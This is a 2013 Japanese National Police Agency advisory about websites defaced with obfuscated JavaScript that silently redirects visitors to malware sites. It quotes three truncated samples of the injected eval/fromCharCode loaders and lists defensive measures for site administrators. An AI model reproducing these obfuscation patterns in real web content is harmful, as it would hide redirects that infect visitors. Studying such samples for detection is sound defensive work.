Topic

平成 25 年6月 7日

外見上変化のないウェブサイト改ざん事案の多発について

外見を変化させない形で不正なスクリプトが挿入される形態のウェブサイト改ざん事案が多発しています。改ざんされたサイトの閲覧者は、気付くことなく悪意ある外部サイトへ誘導され、マルウェアに感染させられる可能性があります。各組織において管理しているウェブサイトが、マルウェア拡散に悪用されることのないように十分に注意する必要があります。

1 難読化された JavaScript が挿入される形態のウェブサイト改ざん事案が多発

警察庁では、平成 25 年5月 24 日にウェブサイト改ざん事案の多発について注意喚起を実施[1]しているところです。この際には、新たなファイルが蔵置される形態及び iframe タグが挿入される形態の改ざん事案について注意喚起を実施しました。

しかしながら5月下旬以降、新たな形態の改ざん事案として、難読化された JavaScript が挿入されるケースを多数認知しています。これらの事案では、ウェブサイトを構成する HTML ファイルや JS ファイル（JavaScript ファイル）に難読化された JavaScript が挿入されており、この JavaScript が実行されることにより iframe タグが生成され悪意ある外部サイトへ誘導が行われます。

以下は、実際に改ざんされたウェブサイトに挿入されていた JavaScript の一部です。

```
<!--0c0896--><script type="text/javascript" language="javasc
ript" >  (中略)  sp="split";w=window;aq="0"+"x";ff=String;z=
"y";ff=ff.fromCharCode;try{document["¥x62od"+z]^="1;}catch(d
21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!
vzs)e=w["eval"];if(1){f="17,5d,6c,65,(中略),4,1,74,4,1"[sp](
",");}w=f;s=[];for(i=2-2;-i+1343!=0;i+=1){j=i;if((031==0x19)
)if(e)s=s+ff(e(aq+(w[j]))+9);}za=e;za(s)}</script><!--/0c089
6-->↵
```

```
<!--ded509--><script type="text/javascript" language="javasc
ript" >  (中略)  e=eval;v="0"+"x";a=0;z="y";try{a*=2}catch(q
){a=1}if(!a){try{document["¥x62od"+z]++}catch(q){a2="_";sa=7
;}z="27_6d_7c_75_6a_(中略)_14_11_84_14_11"["split"](a2);za="
";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[
i]))-sa);}zaz=za;e(zaz);}</script><!--/ded509-->↵
```

```
<!--0c0896--><script type="text/javascript" language="javasc
ript" >  (中略)  ps="split";asd=function(){d.body++};a=("44,
152,171,162,147,(中略),21,16,201,21,16"[ps](","));ss=String;
d=document;for(i=0;i<a.length;i+=1){a[i]=-(7-3)+parseInt(a[i
],8);}try{asd()}catch(q){zz=0;}try{zz/=2}catch(q){zz=1;}if(!
zz)if(window["document"])eval(ss.fromCharCode.apply(ss,a));<
/script><!--/0c0896-->↵
```

[1] ウェブサイト改ざん事案の多発に係る注意喚起について（平成 25 年5月 24 日）
http://www.npa.go.jp/cyberpolice/detect/pdf/20130524_1.pdf

Copyright 2013 Cyber Force Center, NPA JAPAN

２ 改ざんされたまま放置されている可能性があるウェブサイトについて

多くの事案においては、難読化の手法に共通点が見られます。検索エンジンにおいて、挿入されていた JavaScript の一部をキーワードとして検索すると、日本語のサイトに限定しても数千件が検索結果として回答されることを確認しています。このことより、多数のサイトが改ざんされたままの状態にある可能性が考えられます。

難読化された JavaScript は、一見しただけではどの様な動作を行うものであるか把握することは困難です。また、この形態の改ざんでは、ブラウザにより改ざんされたページを閲覧するだけでは、表示内容に変化がないため閲覧者は異常があることに気付きにくくなっています。このためサイト管理者が改ざんされた事実に気付くことなく、放置されてしまっていることが予想されます。

サイト管理者においては、管理するウェブサイトが既に改ざん被害にあっていないか早急に確認することを推奨します。また、前回の注意喚起において挙げた推奨対策と一部重複しますが、改ざんの未然防止もしくは改ざん発生後の早期対応のために、次の対策を実施することを推奨します。

- コンテンツマネジメントシステム（CMS）やサーバー管理ソフトウェアの利用有無と、利用している場合には最新のバージョンであるかを確認する。
- FTP、SSH、CMS 及びサーバー管理ソフトウェア等のアカウントを適切に管理する。
- サーバーにおいて稼働している不要なサービス及び機能は可能な限り停止する。
- コンテンツ管理やサーバー管理のためのアクセスは必要最小限の範囲で許可し、不要なアクセスについては制限する。
- コンテンツ管理及びサーバー管理作業用のコンピュータへのマルウェア感染を防止する。可能であれば、作業を行うコンピュータについては専用のものとする。
- 各種ログについて定期的な監査を実施する。
- 正常な状態のコンテンツファイルのバックアップ、ハッシュ値リスト等を作成しておき、サーバー上のファイルと定期に比較を行うことにより、意図していないファイルの変更や作成がないかを確認する。

また、ウェブサイトが改ざんされた場合に、改ざんの原因となった脆弱性を修正することなくコンテンツファイルのみを修復して公開を再開しても、同一の手法で再度改ざんされる可能性があります。サイト復旧時には原因となった脆弱性を修正してから、公開を再開する必要があります。

Copyright 2013 Cyber Force Center, NPA JAPAN